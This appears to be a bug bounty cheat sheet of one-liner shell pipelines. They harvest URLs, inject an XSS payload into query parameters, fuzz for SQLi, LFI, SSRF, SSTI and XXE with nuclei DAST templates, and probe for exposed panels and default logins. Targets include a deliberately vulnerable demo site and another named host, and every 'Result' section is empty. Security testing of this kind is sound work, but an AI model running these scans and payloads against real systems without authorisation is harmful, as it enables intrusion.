SIMPLE ONE LINER

One Liner for Bug Bounty Hunting by RootBakar

Command 1:

echo "testphp.vulnweb.com" | waybackurls | urldedupe -qs -s > waybck_results.txt

echo "testphp.vulnweb.com" | gau | urldedupe -qs -s > gau_results.txt

cat waybck_results.txt gau_results.txt | anew combine.txt

Command 2: (Combine with RB XSS Validator)

cat combine.txt

Result:

Command 3:

echo "testphp.vulnweb.com" | waybackurls | urldedupe -s -qs -ne | gf xss | qsreplace '"><img src=x onerror=alert(1)>' | freq | egrep -v 'Not'

Result:

Command 4:

echo "testphp.vulnweb.com" | gau --fc 200 | urldedupe -s -qs | gf lfi redirect sqli-error sqli ssrf ssti xss xxe | qsreplace FUZZ | grep FUZZ | nuclei -silent -t ~/nuclei-templates/dast/vulnerabilities -dast -silent

Result:

Command 5:

echo "testphp.vulnweb.com" | gau --fc 200 | urldedupe -s -qs -ne | gf xss | qsreplace '"><img src=x onerror=alert(1)>' | freq | egrep -v 'Not'

Result:

Command 6:

echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/exposed-panels -silent

nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/exposed-panels -silent

Result:

Command 7:

echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/exposures -silent

nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/exposures -silent

Result:

Command 8:

echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/default-logins -silent

nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/default-logins -silent

echo "p1.hol.es" | nuclei -t ~/nuclei-templates/default-logins -silent

nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/default-logins -silent

Result:

Command 9:

echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/vulnerabilities/wordpress -silent

nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/vulnerabilities/wordpress -silent

Result:

Command 10:

echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/vulnerabilities/ -silent

nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/vulnerabilities/ -silent

Result:

Command 11: (Combine with RB XSS Validator)

echo "testphp.vulnweb.com" | httpx -silent | katana -silent > katana.txt; echo "testphp.vulnweb.com" | httpx -silent | hakrawler -u > hakrawler.txt; cat katana.txt hakrawler.txt | urldedupe -qs > finish.txt

cat finish.txt

Result:

Command 12: (Combine with RB XSS Validator)

echo "testphp.vulnweb.com" | waybackurls > waybackurls.txt; echo "testphp.vulnweb.com" | gau > gau.txt; cat waybackurls.txt gau.txt | urldedupe -qs | httpx -silent -mc 200 > finish2.txt

cat finish2.txt

Result:

Command 13:

subfinder -d example.com -o subs-example.txt

cat subs-example.txt | httpx -silent | anew subs-example-alive.txt

cat subs-example-alive.txt | httpx -silent -status-code -title

nuclei -list subs-example-alive.txt -t ~/nuclei-templates/http/exposures -silent

nuclei -list subs-example-alive.txt -t ~/nuclei-templates/http/default-logins -silent